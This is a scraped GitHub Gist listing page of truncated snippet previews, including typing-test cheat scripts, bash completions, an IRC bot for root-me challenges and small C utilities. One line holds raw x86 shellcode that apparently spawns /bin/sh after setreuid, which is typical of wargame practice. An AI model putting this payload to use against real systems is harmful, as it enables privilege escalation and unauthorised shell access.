Skip to content

Instantly share code, notes, and snippets.

_cdp_complete()
{
local CDPATH=$(ls -d $PACKAGE_DIRECTORIES | tr -s [:space:] ':')
_cd
}
complete -F _cdp_complete -o nospace cdp
_S_complete()
{
local cur=${COMP_WORDS[COMP_CWORD]}
local first=${COMP_WORDS[1]}
case ${COMP_CWORD} in
1)
COMPREPLY=( $(compgen -W "$(find $SCRIPT_DIRECTORIES -maxdepth 1 -type f -printf '%f\n')" -- $cur) )
;;
*)
if [[ $cur == -* ]]
#!/usr/bin/python
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from time import sleep
driver = webdriver.Firefox()
driver.get('http://10fastfingers.com/typing-test/english')
def write_words():
@joetde
joetde / 1_fast_computer_tesseract
Last active August 29, 2015 14:22
Cheat script for 10fastfingers.com
#!/bin/python2
# rudimentary script to cheat on 10fastfingers.com (yeah this is useless)
# requires gnome-screenshot, imagemagick (convert), xte and tesseract (+ data-eng)
import subprocess
def h_exec(cmd):
""" Exec command and return stdout as string"""
proc = subprocess.Popen(cmd,stdout=subprocess.PIPE)
return ("".join(filter(lambda x:x and x!='\n', proc.stdout.readlines()))).replace("\n", " ")
\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4e\x41\x41\x41\x41\x42\x42\x42\x42
import urllib2
import cookielib
from pprint import pprint
cookies = cookielib.LWPCookieJar()
handlers = [
urllib2.HTTPHandler(),
urllib2.HTTPSHandler(),
urllib2.HTTPCookieProcessor(cookies)
]
import irc.client
import math
import base64
import zlib
first = True
def on_connect(connection, event):
connection.join('#root-me_challenge')
@joetde
joetde / is_big_endian
Created May 24, 2014 20:12
endianness check
bool is_big_endian()
{
short i = 0x0102;
return *(char*)(&i) == 1;
}
@joetde
joetde / list_tcp_socket
Last active August 29, 2015 14:01
Get opened TCP sockets
FILE *fp;
char cmd[1024];
char out[1024];
sprintf(cmd, "lsof -p %d 2> /dev/null | grep TCP | awk '{print $9}'", getpid());
fp = popen(cmd, "r");
if (fp == NULL) {
printf("Failed to run command\n");
exit(1);
}